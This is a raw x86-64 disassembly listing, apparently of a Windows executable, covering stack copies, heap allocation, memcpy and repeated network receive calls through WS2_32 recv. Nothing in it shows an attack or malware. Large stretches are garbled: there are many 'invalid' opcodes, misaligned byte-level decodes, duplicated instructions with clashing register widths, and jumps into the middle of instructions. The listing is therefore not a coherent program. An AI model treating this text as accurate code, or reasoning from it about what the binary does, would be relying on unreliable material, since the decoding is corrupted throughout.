mov qword [rsp + 0x718], rbx
mov qword [rsp + 0x720], r13
mov qword [rsp + 0x728], rbx
lea rax, [0x1401a9370]
mov qword [rsp + 0x710], rax
mov rcx, rbp
lea rdx, [rsp + 0x710]
call fcn.140083d90
cmp byte [rsp + 0x50], 3
je 0x140112057
movups xmm0, xmmword [rsp + 0x50]
movdqu xmm1, xmmword [rsp + 0x60]
movups xmm2, xmmword [rsp + 0x70]
movups xmm3, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x230], rax
movdqu xmm0, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x210], xmm3
movaps xmmword [rsp + 0x200], xmm2
movdqa xmmword [rsp + 0x1f0], xmm1
movzx eax, byte [rsp + 0x1e0]
cmp al, 3
je 0x140112057
cmp al, 2
jb 0x14010fbe9
mov rbx, qword [rsp + 0x1e8]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x1f8]
clc
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rcx], fs
add al, byte [rax]
add bh, bh
push rax
adc byte [rax - 0x75], cl
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x18
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x20
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rbp], fs
add al, byte [rax]
add bh, bh
push rax
adc byte [rbx + 0x5982484], cl
add byte [rax], al
clc
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rcx], fs
add al, byte [rax]
add bh, bh
push rax
adc byte [rax - 0x75], cl
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x18
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x20
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rbp], fs
add al, byte [rax]
add bh, bh
push rax
adc byte [rbx + 0x5982484], cl
add byte [rax], al
lea rcx, [rsp + 0x2e4]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x590]
mov qword [rcx], rax
movdqa xmm0, xmmword [rsp + 0x630]
movdqa xmm1, xmmword [rsp + 0x640]
movaps xmm2, xmmword [rsp + 0x650]
add byte [rdi], cl
adc dword [rcx + 0x44], edx
add byte [rdi], cl
adc dword [rcx + 0x44], edx
movdqu xmmword [rcx + 0x34], xmm1
movdqu xmmword [rcx + 0x24], xmm0
mov dword [rsp + 0x2e0], r14d
mov qword [rsp + 0x2f0], rsi
mov qword [rsp + 0x2f8], r15
mov dword [rsp + 0x2f8], edi
mov qword [rsp + 0x300], r13
mov r15, qword [rsp + 0x28]
mov rax, qword [r15 + 0x110]
cmp byte [rax + 0x1b8], 0
je 0x1401101a0
mov r9d, dword [rsp + 0x30c]
test r9, r9
je 0x14010fdd2
cmp r13, r9
jbe 0x14010fdac
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x1e8], r14
mov qword [rsp + 0x1f0], rsi
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x1f8], r14
lea rax, [0x1401a9370]
add byte [rax - 0x73], cl
add eax, 0x9967a
mov qword [rsp + 0x1e0], rax
mov rcx, rbp
mov rdx, rdi
call fcn.140083d90
cmp byte [rsp + 0x50], 3
je case.default.0x14010fda3
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x4a0], rax
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x490], xmm0
add al, 0
add bl, dh
movq mm0, qword [rsp + 0x50]
and al, 0x90
add al, 0
add bl, dh
movq mm0, qword [rsp + 0x50]
movdqu xmm1, xmmword [rsp + 0x60]
movups xmm2, xmmword [rsp + 0x70]
movups xmm3, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x480], xmm3
movaps xmmword [rsp + 0x470], xmm2
movdqa xmmword [rsp + 0x460], xmm1
and al, 0x60
add al, 0
add byte [rsi + 0xf], ah
jg 0x14010fcee
and al, 0x50
add al, 0
add byte [rsi + 0xf], ah
jg 0x14010fd2f
and al, 0xd0
add al, 0
add byte [rsi + 0xf], ah
jg 0x14010fd38
and al, 0xe0
add al, byte [rax]
add byte [rsi + 0xf], ah
jg 0x14010fd41
and al, 0x30
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rbx*4], ah
add dword [rax], eax
add byte [rdi], cl
mov dh, 0
and al, 0x60
add al, 0
add byte [rsi + 0xf], ah
jg 0x14010fcee
and al, 0x50
add al, 0
add byte [rsi + 0xf], ah
jg 0x14010fd2f
and al, 0xd0
add al, 0
add byte [rsi + 0xf], ah
jg 0x14010fd38
lea rcx, [0x14020abe4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rsi, qword [r15 + 0xa8]
mov rbx, qword [r15 + 0x98]
test rsi, rsi
je 0x14010fe2f
mov rbx, qword [r15 + 0x98]
mov rsi, qword [r15 + 0xa8]
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je 0x1401101fd
invalid
js 0x140112a38
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1401101e2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140112348
and dword [rax], eax
invalid
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
ror byte [rcx - 0x77], cl
invalid
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jle case.0x1400c929f.303
add byte [rcx - 0x77], cl
invalid
test rax, rax
test eax, eax
jne 0x140110203
jmp 0x140112348
mov r14d, 1
mov rcx, r14
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
movdqu xmm12, xmmword [r15 + 0xb4]
add byte [rax], al
invalid
mov rcx, qword [rsp + 0x168]
movzx eax, byte [rcx + 0x10]
adc byte [rax + 0x4402484], cl
add byte [rax], al
invalid
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x430], xmm0
movzx ebp, word [r15 + 0xb0]
mov bh, 0xaf
mov al, 0
add byte [rax], al
movzx r10d, word [r15 + 0xb2]
mov r8d, dword [r15 + 0xc4]
mov ebx, dword [r15 + 0x88]
mov r12d, dword [r15 + 0x8c]
mov r13d, dword [r15 + 0x90]
mov edi, dword [r15 + 0x94]
mov rdx, qword [r15 + 0x108]
cmp rdx, qword [r15 + 0x100]
jne 0x1401102a5
mov rcx, qword [rsp + 0x568]
mov dword [rsp + 0x38], r8d
invalid
mov word [rsp + 0x48], r10w
call fcn.140112c20
movzx r10d, word [rsp + 0x48]
mov r8d, dword [rsp + 0x38]
mov rdx, qword [r15 + 0x108]
mov rax, qword [r15 + 0xf8]
imul rcx, rdx, 0x58
mov dword [rax + rcx], ebx
mov dword [rax + rcx + 4], r12d
mov dword [rax + rcx + 8], r13d
mov dword [rax + rcx + 0xc], edi
mov qword [rax + rcx + 0x10], r14
invalid
mov qword [rax + rcx + 0x18], rsi
mov qword [rax + rcx + 0x20], rsi
mov dword [rax + rcx + 0x20], esi
or byte [rax], ah
mov word [rax + rcx + 0x28], bp
mov word [rax + rcx + 0x2a], r10w
movdqu xmmword [rax + rcx + 0x2c], xmm12
movq qword [rax + rcx + 0x2c], mm4
mov dword [rax + rcx + 0x3c], r8d
mov dword [rax + rcx + 0x3c], eax
movzx r8d, byte [rsp + 0x440]
mov byte [rax + rcx + 0x50], r8b
mov byte [rax + rcx + 0x50], al
test byte [rax + rax*2], ah
add al, 0
add byte [rax + rcx*4 + 0x44], al
mov byte [rax + rcx + 0x50], al
movdqa xmm0, xmmword [rsp + 0x430]
mov byte [rax + rcx + 0x50], al
movdqa xmm0, xmmword [rsp + 0x430]
test byte [rax + rsi], ah
add al, 0
xor byte [rax + rax], al
add bl, dh
movdqu xmmword [rax + rcx + 0x40], xmm0
movq qword [rax + rcx + 0x40], mm0
or byte [rax + 0x44], r8b
mov eax, dword [rsp + 0x4e9]
test byte [rcx + rbp*8], ah
add al, 0
invalid
mov r8d, dword [rsp + 0x4e9]
test byte [rcx + rbp*8], ah
add al, 0
add byte [rbx + rcx*4 - 0x74], al
jmp 0x184110311
mov r9d, dword [rsp + 0x4ec]
mov dword [rax + rcx + 0x54], r9d
invalid
invalid
push rsp
and al, 0xec
add al, 0
add byte [rcx + rcx*4 + 0x4c], al
or byte [rsp + rax*2 - 0x77], r10b
or byte [rsp + rax*2 - 0x77], r10b
mov dword [rax + rcx + 0x51], r8d
or byte [rcx + 0x48], r10b
inc edx
push rcx
inc rdx
mov qword [r15 + 0x108], rdx
or byte [rcx], al
add byte [rax], al
mov rax, qword [r15 + 0x110]
adc byte [rcx], al
add byte [rax], al
mov rcx, qword [rax + 0x188]
mov byte [rcx], al
add byte [rax], al
test rcx, rcx
je case.0x1400e91e9.202
invalid
cmp ecx, 1
cmp ecx, 1
lea r12, [rsp + 0x5a]
and al, 0x5a
lea r13, [rsp + 0x590]
lea ebp, [rsp + 0x590]
add eax, 0x8d480000
insb byte [rdi], dx
and al, 0x50
push rax
lea rbp, [rsp + 0x50]
push rax
lea rdi, [rsp + 0x1e0]
add byte [rax], al
jne 0x1401122ba
pop rsp
invalid
add byte [rax + 0x39], cl
nop
cmp qword [rax + 0x190], rdx
jbe 0x1401127f0
and al, 0
invalid
nop
add dword [rax], eax
add byte [rdi], cl
xchg byte [rbp - 0x7fffffdc], al
and al, 0
add byte [rax + 0x1bab8], al
invalid
and al, 0
add byte [rax + 0x1bab8], al
cmp byte [rax + 0x1ba], 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
test dword [rax + rax - 0x24170000], eax
add byte [rax], al
invalid
invalid
jne 0x1401103fc
add byte [rax], al
jmp 0x140110458
add byte [rax], al
add byte [rcx - 0x75], cl
invalid
invalid
mov rcx, qword [r15 + 0xf8]
invalid
add byte [rax], al
add byte [rdi + rcx - 0x49], al
invalid
invalid
mov bh, 0x84
and al, 0x58
movzx r8d, word [rsp + 0x858]
mov bh, 0x84
and al, 0x58
or byte [rax], al
add byte [rbp + rcx*4 - 0x74], cl
invalid
invalid
mov word [rax + riz*8], fs
add byte [rax], al
lea r9, [rsp + 0x2e0]
mov qword [rsp + 0x50], r9
mov dword [rsp + 0x50], ecx
mov word [rax + riz*8], fs
add al, byte [rax]
add byte [rcx + rcx*4 + 0x4c], cl
and al, 0x50
mov dword [rsp + 0x50], ecx
mov qword [rsp + 0x58], rcx
mov dword [rsp + 0x58], ecx
and al, 0x58
mov qword [rsp + 0x60], rdx
and al, 0x60
mov word [rsp + 0x68], r8w
mov rdx, qword [rax + 0x190]
mov edx, dword [rax + 0x190]
mov edx, dword [rax + 0x190]
add byte [rax - 0x75], cl
sbb byte [rax + 0x48000001], 0x8d
add byte [rax], al
invalid
invalid
mov rax, qword [rax + 0x198]
mov eax, dword [rax + 0x198]
lea rdi, [rsp + 0x1e0]
mov rcx, rdi
mov ecx, edi
mov esp, 0x1e024
add byte [rax - 0x77], cl
mov ecx, edi
mov ecx, edi
lea rbp, [rsp + 0x50]
mov r8, rbp
call qword [rax + 0x28]
mov rax, qword [rsp + 0x1e0]
mov eax, dword [rsp + 0x1e0]
mov eax, dword [rsp + 0x1e0]
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x7b], cl
test rax, rax
invalid
invalid
invalid
invalid
test rax, rax
lea r12, [rsp + 0x5a]
pop rdx
pop rdx
lea r13, [rsp + 0x590]
lodsb al, byte [rsi]
and al, 0x90
add eax, 0x850f0000
add byte [rax], al
invalid
test esp, eax
add byte [rax], al
jne 0x1401122b0
add byte [rcx - 0x75], cl
xchg dword [rax], edx
mov rax, qword [r15 + 0x110]
cmp byte [rax + 0x1ba], 0
add dword [rax], eax
add byte [rax + 0x1bab8], al
add byte [rax], al
je 0x140110458
mov r9d, dword [rsp + 0x30c]
mov rbx, qword [rsp + 0x2f0]
mov rsi, qword [rsp + 0x300]
add byte [rbx], al
add byte [rax], al
test r9, r9
leave
je 0x140112078
cmp rsi, r9
jbe 0x14011042e
hlt
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0x320]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [rsp + 0x2e0]
movups xmm1, xmmword [rsp + 0x2f0]
movups xmm2, xmmword [rsp + 0x300]
add byte [rbx], al
add byte [rax], al
movups xmm3, xmmword [rsp + 0x310]
movaps xmmword [rsp + 0x80], xmm3
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
cmp qword [r15 + 0xa0], 0
je case.0x1400fd850.112
mov eax, dword [rdi + 0x98]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
sar bh, cl
adc eax, 0x57b59
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x428]
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbp], fs
add al, 0
add byte [rax], al
mov qword [rcx + 0x50], rax
add byte [rax], al
mov qword [rcx + 0x50], rax
movaps xmm0, xmmword [rsp + 0x90]
sub byte [rsp + 0x90], al
and al, 0x90
nop
add byte [rax], al
add byte [rdi], cl
movups xmmword [rcx + 0x40], xmm0
movups xmmword [rcx + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
and al, 0x50
movaps xmm1, xmmword [rsp + 0x60]
movaps xmm2, xmmword [rsp + 0x70]
movaps xmm3, xmmword [rsp + 0x80]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov rax, qword [rsp + 0x1a0]
add dword [rax], eax
add byte [rdi], cl
adc byte [rax + 0x50], al
add dword [rax], eax
add byte [rdi], cl
adc byte [rax + 0x50], al
movaps xmmword [rsp + 0x5e0], xmm0
movups xmm0, xmmword [rax + 0x40]
adc byte [rax + 0x40], al
add byte [rdi], cl
adc byte [rax + 0x40], al
movaps xmmword [rsp + 0x5d0], xmm0
movdqu xmm0, xmmword [rax]
movq mm0, qword [rax]
test byte [rax + rdx*8], ah
and al, 0xd0
rol byte [0x150040537], 1
add eax, 0xff30000
movq mm0, qword [rax]
outsd dx, dword [rsi]
add bl, dh
movq mm1, qword [rax + 0x10]
invalid
movdqu xmm1, xmmword [rax + 0x10]
adc byte [rdi], cl
movups xmm2, xmmword [rax + 0x20]
adc byte [rax + 0x20], dl
movups xmm3, xmmword [rax + 0x30]
pop rax
xor byte [rdi], cl
movaps xmmword [rsp + 0x5c0], xmm3
movaps xmmword [rsp + 0x5c0], xmm3
rol byte [0x169200551], 0x94
add eax, 0x290f0000
xchg esp, eax
add byte [rdi], cl
sub dword [rsp + 0x5b0], edx
mov al, 5
add byte [rax], al
movaps xmmword [rsp + 0x5b0], xmm2
and al, 0xb0
add eax, 0xf660000
add byte [rax], al
invalid
invalid
mov al, 5
add byte [rax], al
movdqa xmmword [rsp + 0x5a0], xmm1
jg 0x1401104e6
and al, 0xa0
add eax, 0xf660000
jg 0x1401104e7
invalid
movabs al, byte [0x24847f0f66000005]
nop
movdqa xmmword [rsp + 0x590], xmm0
test byte [rax + rdx*4], ah
and al, 0x90
add eax, 0xc7490000
sub byte [r8], r8b
add byte [rax], al
mov qword [r15 + 0x28], 0
mov qword [r15 + 0x40], 2
add byte [rax], al
add byte [rcx - 0x39], cl
add al, byte [rax]
add al, byte [rax]
add byte [rax], al
mov qword [r15 + 0x48], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [r15 + 0x50], 8
mov dword [rdi + 0x50], 8
push r8
or byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x580]
add bl, dh
movq qword [rax], mm7
movdqu xmmword [rax], xmm7
mov qword [r15 + 0x68], 8
push 8
add byte [rax], al
mov rax, qword [rsp + 0x578]
mov eax, dword [rsp + 0x578]
js 0x1401105a7
add eax, 0xff30000
jg 0x1401105e0
add byte [rax], al
movdqu xmmword [rax], xmm7
cmp byte [rsi - 0x39], ah
mov word [rax + 0x10], 0
mov rdx, r15
mov edx, edi
adc byte [rax], al
adc byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov edx, edi
mov r15, qword [r15 + 0x108]
mov edi, dword [rdi + 0x108]
add byte [rax], al
sub r15, 1
jae 0x1401105f9
invalid
cmp ecx, dword [rcx - 0x77]
mov r15, rdx
mov edi, edx
xlatb
mov rsi, qword [r15 + 0xa8]
test al, 0
add byte [rax], al
test rsi, rsi
jne 0x14011148f
mov esi, 0x4800000e
lea rax, [0x140204680]
lea eax, [0x140204680]
test al, 0x40
str word [rax - 0x77]
test byte [rax + rbp*8], ah
and al, 0xe8
mov qword [rsp + 0x1e8], rax
and al, 0xe8
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
lea rax, [rsp + 0x1ea]
movdqu xmmword [rax + 6], xmm7
test byte [rdx + rbp*8], ah
add dword [rax], eax
add bl, dh
movdqu xmmword [rax + 6], xmm7
lea rax, [0x1401d3af8]
add al, 0x35
or al, 0
jmp 0x14011153a
mov r14, qword [rdx + 0xf8]
mov rax, qword [rsp + 0x168]
push 0xffffffff80000001
cmp byte [rax], al
invalid
add byte [rsi + rax*2 + 0x44], dh
mov eax, dword [rdx + 0xbc]
invalid
add byte [rax], al
invalid
je 0x140110653
mov esp, 0x8b000000
invalid
add byte [rax], al
add byte [rbx + 0xc082], cl
invalid
mov eax, dword [rdx + 0xc0]
add byte [rax], al
add byte [rax - 0x75], cl
mov bl, byte [rax + 0x48000000]
add byte [rax], al
mov rdx, qword [rdx + 0xa8]
mov rcx, qword [rdx + 0x98]
add byte [rax], al
add byte [rax - 0x75], cl
xchg edx, eax
test al, 0
mov rdx, qword [rdx + 0xa8]
add byte [rax], al
cmp r8d, eax
ja 0x140112af9
enter 0x24, 0
enter 0x24, 0
test r8d, r8d
je 0x14011074b
cmp rdx, r8
cmp edx, eax
jbe 0x140110745
add byte [rdx - 0x80], al
cmp al, 1
ror byte [rdi], 0x8d
invalid
std
add byte [rax], al
add cl, ch
cmpsb byte [rsi], byte [rdi]
cmp byte [rcx + r8], 0xc0
jge 0x14011074b
invalid
std
add byte [rax], al
invalid
invalid
jmp 0x140112af9
and al, 0
add byte [rcx + 0x6b], cl
invalid
cmp byte [r14 + rax + 0x40], 0
je 0x1401107fc
test byte [rcx + 0x31000001], bl
xor ecx, ecx
leave
jmp 0x14011077b
or cl, ch
invalid
jne 0x140112af9
test eax, eax
je 0x140110765
imul r10, r15, 0x58
mov r8d, dword [r14 + r10 + 0x34]
mov r9d, dword [r14 + r10 + 0x38]
mov rdx, qword [r14 + r10 + 0x10]
mov r10, qword [r14 + r10 + 0x20]
cmp r8d, r9d
ja 0x140112b0f
mov rax, qword [rsp + 0x28]
cmp word [rax + 0xb0], 0
je 0x140110863
movzx esi, word [rax + 0xb2]
imul rax, r15, 0x58
cmp word [r14 + rax + 0x28], 0
jne 0x140110dfd
mov r9d, dword [rax + 0xb4]
mov rcx, qword [rax + 0x98]
test r9, r9
je 0x140110ddf
inc r10
inc rbx
mov r11, rbx
nop dword [rax]
mov rbx, r11
mov r11d, 0
cmp rbx, r9
jae 0x140111260
movzx r14d, word [r8 + rbx*4]
cmp r14, 0xffff
je 0x1401113c9
movzx r11d, word [r8 + rbx*4 + 2]
mov edi, ecx
iretd
and edi, r11d
mov ebp, ebx
sub ebp, edi
std
mov edi, ecx
and edi, ebp
lea rbp, [rsp + 0x50]
insb byte [rdi], dx
and al, 0x50
cmp r10, rdi
ja 0x1401113c9
xchg dword [rax], ebp
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rsi + 0x41], ah
cmp r11w, ax
cmp ebx, eax
jne case.0x1400e4b0f.279
cmp rsi, r14
jbe 0x140112a24
je 0x1401112c5
add byte [rax], al
imul r11, r14, 0x68
lea rdi, [rdx + r11]
push 0x1a3c8d4a
add rdi, 0x40
cmp qword [rdx + r11 + 0x40], 0
invalid
je 0x1401112f5
mov dword [rax + 0x4a], 0x401a7c83
add byte [rcx + rsi + 0x41], dh
cmp r15b, 2
cmp bh, 2
je case.0x1400e4b0f.279
cmp qword [rdi + 0x10], 7
jne case.0x1400e4b0f.279
jnp 0x1401112d2
invalid
invalid
mov rdi, qword [rdi + 8]
mov edi, dword [rdi + 8]
or byte [rbx + 0x6d33412f], cl
add byte [rbx + 0x3341037f], cl
mov edi, dword [rdi + 3]
invalid
invalid
mov ebp, dword [rdi]
xor ebp, dword [r13]
mov edi, dword [rdi + 3]
xor edi, dword [r13 + 3]
add eax, dword [rcx + 0x33]
jge 0x1401112e9
or edi, ebp
lea rbp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
jne case.0x1400e4b0f.279
jmp 0x140111309
adc al, 0x41
cmp bh, 2
cmp r15b, 2
jne case.0x1400e4b0f.279
push rcx
invalid
cmp byte [rdi + 8], r13b
jne case.0x1400e4b0f.279
or byte [rdi], cl
test dword [rdi - 1], eax
invalid
cmp qword [rdx + r11], 0
cmp dword [rdx + rbx], 0
lea rsi, [rsp + 0x590]
je 0x140111327
and al, 0x90
add eax, 0xf740000
add rdx, r11
mov rdx, qword [rdx + 8]
mov rcx, rsi
call fcn.1400a51b0
invalid
dec dword [rax - 0x77]
jmp 0x18a039c76
mov rdx, rsi
invalid
mov rcx, rbp
mov rdx, rsi
mov r8, rbx
mov r9, r14
mov ecx, esi
mov ecx, esi
call fcn.140089800
enter 0xfffffffffffff784, 0xffffffffffffffff
lea rcx, [rsp + 0x68]
and al, 0x68
and al, 0x68
push 0x20418b48
mov rax, qword [rcx + 0x20]
and byte [r8 - 0x77], cl
test byte [rax + rdx*2], ah
mov qword [rsp + 0x650], rax
mov dword [rsp + 0x650], eax
invalid
add byte [rdi], cl
movups xmm0, xmmword [rcx]
adc byte [rcx], al
movdqu xmm1, xmmword [rcx + 0x10]
movq mm1, qword [rcx + 0x10]
adc byte [r14 + 0xf], spl
movdqa xmmword [rsp + 0x640], xmm1
jg 0x1401112e1
mov word [rax + rax*2], fs
and al, 0x40
invalid
invalid
add byte [rax], al
movaps xmmword [rsp + 0x630], xmm0
sub dword [rsp + 0x630], eax
and al, 0x30
invalid
mov rax, qword [rsp + 0x90]
test byte [rax + rdx*4], ah
nop
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
mov r15, qword [rsp + 0x28]
invalid
invalid
add byte [rax], al
test rax, rax
test eax, eax
mov r15, qword [rsp + 0x28]
lea rdi, [rsp + 0x1e0]
je 0x140111397
invalid
mov esp, 0x1e024
add byte [rbx + rbx + 0x48], dh
sbb ecx, dword [rax - 0x75]
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rax], al
sbb ecx, dword [rax - 0x75]
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rax], al
mov r8, qword [rsp + 0xa0]
invalid
invalid
mov word [rax + rbp*4], fs
mov rdx, qword [rsp + 0x98]
add byte [rax], al
mov r8, qword [rsp + 0xa0]
add byte [rax], al
lea rcx, [rsp + 0xa8]
call qword [rax + reloc.WS2_32.dll_recv]
add byte [rax], al
add bh, bh
call qword [rax + reloc.WS2_32.dll_recv]
invalid
invalid
and al, 0x50
invalid
cmp byte [rsp + 0x650], 2
mov esp, 0x65024
add byte [rdx], al
add byte [rax], al
add dh, byte [rbx + riz + 0x48]
je 0x1401113c4
mov rax, qword [rsp + 0x630]
je 0x1401113c4
mov rax, qword [rsp + 0x630]
invalid
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x38
cmp byte [rsi], al
mov rdx, qword [rsp + 0x638]
cmp byte [rsi], al
add byte [rax], al
mov r8, qword [rsp + 0x640]
lea rcx, [rsp + 0x648]
mov word [rax + rcx*2], fs
invalid
add byte [rax], al
call qword [rax + reloc.WS2_32.dll_recv]
push rax
invalid
and al, 0x40
invalid
mov word [rax + rcx*2], fs
invalid
push rax
adc byte [rcx + rcx*4 - 0x12], cl
mov rsi, r13
jmp 0x1401113d9
adc byte [rcx + rcx*4 - 0x12], cl
mov rsi, r13
mov r15, qword [rsp + 0x28]
lea rdi, [rsp + 0x1e0]
invalid
add byte [rdi], cl
adc byte [0x1401d8860], al
movups xmm0, xmmword [0x1401d8860]
movaps xmmword [rsp + 0x1f0], xmm0
movups xmm0, xmmword [0x1401d8850]
movaps xmmword [rsp + 0x1e0], xmm0
mov rcx, rbp
lea r13, [rsp + 0x590]
lea ebp, [rsp + 0x590]
add dword [rax], eax
add byte [rax - 0x77], cl
jmp 0x164bda14a
invalid
lodsb al, byte [rsi]
invalid
mov rdx, r13
mov r8, rdi
call fcn.140089ab0
movabs dword [0x270247c80fff786], eax
je 0x14011142b
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rsp + 0x560], rsi
movups xmm0, xmmword [0x1401d9b88]
adc byte [0x1401d9b88], al
adc byte [0x1401d9b88], al
movaps xmmword [rsp + 0x1f0], xmm0
movdqu xmm0, xmmword [0x1401d9b78]
movdqa xmmword [rsp + 0x1e0], xmm0
mov rcx, rbp
mov ecx, ebp
mov ecx, ebp
mov rdx, r13
mov r8, rdi
call fcn.140089ab0
cmp byte [rsp + 0x70], 2
jo 0x140111468
jo 0x140111468
je 0x14011147f
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
lea rcx, [rsp + 0x68]
call qword [rax + reloc.WS2_32.dll_recv]
mov rsi, qword [r15 + 0xa8]
test rsi, rsi
je 0x1401105d1
test byte [rdx - 0xf], al
invalid
invalid
test byte [rdx - 0xf], al
invalid
js 0x140112a38
movabs dword [0x989f8b49000015], eax
add byte [rax], al
movzx eax, byte [0x1402153f8]
push rbp
invalid
adc byte [rax], al
mov rax, qword [0x140215360]
mov dh, 0x3e
adc byte [rax], al
cwde
add byte [rax], al
add byte [rdi], cl
mov dh, 5
push rbp
invalid
mov dh, 0x3e
adc byte [rax], al
test rax, rax
jne 0x1401114c5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140112348
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
mov cl, byte [rsi]
invalid
add byte [rax], al
invalid
mov qword [0x140215360], rax
adc byte ds:[rax], al
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140112348
mov r14, rax
mov rcx, rax
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov dh, 4
add byte [rcx - 0xa], al
invalid
invalid
mov dh, 4
add byte [rcx - 0xa], al
mov byte [rcx], 0x75
jne case.0x140103151.103
mov rax, r14
jne case.0x140103151.103
mov rax, r14
or rax, 1
enter 0x4c01, 0xffffffffffffff89
mov ah, 0x24
call 0x188111504
add dword [rax], eax
add byte [rax - 0x77], cl
mov ah, 0x24
lock add dword [rax], eax
invalid
mov qword [rsp + 0x1e8], r14
mov qword [rsp + 0x1f0], rsi
lock add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
mov ah, 0x24
lock add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdi*8], ah
and al, 0xf8
add byte [rax], al
mov qword [rsp + 0x1f8], rax
and al, 0xf8
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1401a9358]
add eax, 0x97e3f
jle 0x140111521
add bl, ch
jmp 0x14011153a
invalid
mov qword [rsp + 0x1e8], r14
mov ah, 0x24
call 0x188111525
invalid
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
lock add dword [rax], eax
add dword [rax], eax
mov qword [rsp + 0x1f0], rsi
mov dword [rsp + 0x1f0], esi
add dword [rax], eax
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0xf8
mov qword [rsp + 0x1f8], r14
lea rax, [0x1401a9370]
clc
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x97e36
jle 0x140111542
add byte [rax - 0x77], cl
test byte [rax + riz*8], ah
mov qword [rsp + 0x1e0], rax
and al, 0xe0
add dword [rax], eax
add byte [rax - 0x77], cl
mov rcx, rbp
mov rdx, rdi
call fcn.140083d90
sub bh, dh
invalid
jmp 0x1290b9e91
sub bh, dh
inc dword [rax + 0x350247c]
invalid
idiv edi
cmp byte [rsp + 0x50], 3
add ecx, dword [rdi]
test bh, ah
adc al, 0
add byte [rax - 0x75], cl
invalid
invalid
test byte [rax + riz*4], ah
add byte [rax], al
je case.default.0x14010fda3
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x3b0], rax
mov dword [rsp + 0x3b0], eax
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add eax, dword [rax]
add byte [rax], al
movups xmm0, xmmword [rsp + 0x90]
add byte [rax], al
movups xmm0, xmmword [rsp + 0x90]
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0x3a0], xmm0
sub dword [rsp + 0x3a0], eax
